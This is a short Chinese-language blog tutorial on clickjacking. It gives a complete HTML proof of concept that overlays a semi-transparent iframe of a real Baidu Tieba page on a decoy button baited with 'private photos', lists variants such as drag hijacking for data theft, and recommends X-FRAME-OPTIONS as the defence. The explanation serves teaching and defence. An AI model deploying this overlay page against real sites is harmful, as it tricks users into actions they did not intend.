点击劫持(ClickJacking)

版权声明:sh0rk https://blog.csdn.net/Home_pig/article/details/83683910

什么是点击劫持?

点击劫持(ClickJacking),又称“UI-覆盖攻击”,通过覆盖不可见的框架误导受害者进行点击而造成的攻击行为。其本质是一种视觉欺骗。

利用方法

利用iframe或其他标签的属性构造一个精心构造的页面,诱导受害者进行点击。

<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<head>
<title>点击劫持</title>
<style>
     html,body,iframe{
         display: block;
          height: 100%;
          width: 100%;
          margin: 0;
          padding: 0;
          border:none;
     }
     iframe{
          opacity:20;
		  filter:alpha(opacity=20); /* IE */
		  -moz-opacity:0.2; /* Moz + FF */
          opacity: 0.2; /* 支持CSS3的浏览器(FF 1.5也支持)*/
          position:absolute;
          z-index:2;
     }
     button{
          position:absolute;
          top: 355px;
          left: 555px;
          z-index: 1;
          width: 72px;
          height: 26px;
     }
</style>
</head>
     <body>
		   某XXX美女隐私照片儿
          <button>查看</button>
          <iframe src="http://tieba.baidu.com/f?kw=学习"></iframe>
     </body>
</html>


如图,精选构造页面,通过诱导受害者进行点击
在这里插入图片描述
点击后提示加入成功,成功完成点击劫持。上面的示例只是半透明帮助理解点击劫持,实际攻击者进行攻击时透明设置为0,受害者是很难察觉出嵌套了其他的页面的。如下图。
在这里插入图片描述

进阶(本质上还是UI覆盖攻击,只是实现手段不一样)

  • Flash点击劫持
  • 图片覆盖攻击(XSIO)
  • 拖拽劫持,主要用于数据窃取
  • 触屏劫持(TapJacking)

防御

X-FRAME-OPTIONS是目前最可靠的方法。在返回头中设置 X-FRAME-OPTIONS。

猜你喜欢

转载自blog.csdn.net/Home_pig/article/details/83683910